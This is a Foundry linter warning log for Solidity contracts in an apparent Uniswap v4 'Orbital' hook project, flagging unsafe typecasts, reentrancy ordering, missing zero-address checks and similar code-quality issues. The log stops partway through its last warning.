╭▸ src/libraries/OrbitalMath.sol:137:20\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:49\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:64\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:20\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:45\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:139:32\n    │\n139 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:17\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:46\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:62\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:76\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:120:24\n    │\n120 │         int256 price = int256(log.topic_1);\n    │                        ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:200:29\n    │\n200 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:25\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:38\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:225:20\n    │\n225 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:226:20\n    │\n226 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:21\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:34\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:233:41\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:23\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:35\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:23\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:40\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                                        ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:98:9\n   │\n98 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:53:56\n   │\n53 │     constructor(address _callbackProxy, address _hook, address _rvmId) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:79:9\n   │\n79 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:180:9\n    │\n180 │         emit FeedUpdated(old, newFeed);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:90:23\n   │\n90 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegCallback.sol:109:23\n    │\n109 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:508:43\n    │\n508 │         if (radius == 0) return (amounts, false);\n    │                                           ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:774:42\n    │\n774 │             return (_equalPoint(radius), false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:787:85\n    │\n787 │         if (boundary) return (_circlePoint(lv[l].kNorm, lv[l].sNorm, s, w, radius), true);\n    │                                                                                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:201:23\n    │\n201 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:793:79\n    │\n793 │             return (_circlePoint(lv[top].kNorm, lv[top].sNorm, s, w, radius), false);\n    │                                                                               ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:795:60\n    │\n795 │         return (_interiorPoint(c, s, w, radius, incoming), false);\n    │                                                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n     ╭▸ src/OrbitalHook.sol:1003:56\n     │\n1003 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n     │                                                        ━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:593:9\n    │\n593 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:186:9\n    │\n186 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:207:56\n    │\n207 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:209:27\n    │\n209 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:223:53\n    │\n223 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:104:32\n    │\n104 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:107:23\n    │\n107 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:276:56\n    │\n276 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:276:77\n    │\n276 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:277:44\n    │\n277 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:277:59\n    │\n277 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:311:23\n    │\n311 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:311:58\n    │\n311 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:33\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:40\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:58\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:65\n    │\n321 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:34\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:41\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:59\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:322:66\n    │\n322 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:355:30\n    │\n355 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:21\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:29\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:68\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:365:76\n    │\n365 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `totalRadius` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:406:9\n    │\n406 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:407:9\n    │\n407 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:393:45\n    │\n393 │             if (amounts[k] > maxAmounts[k]) revert SlippageExceeded();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:406:9\n    │\n406 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ 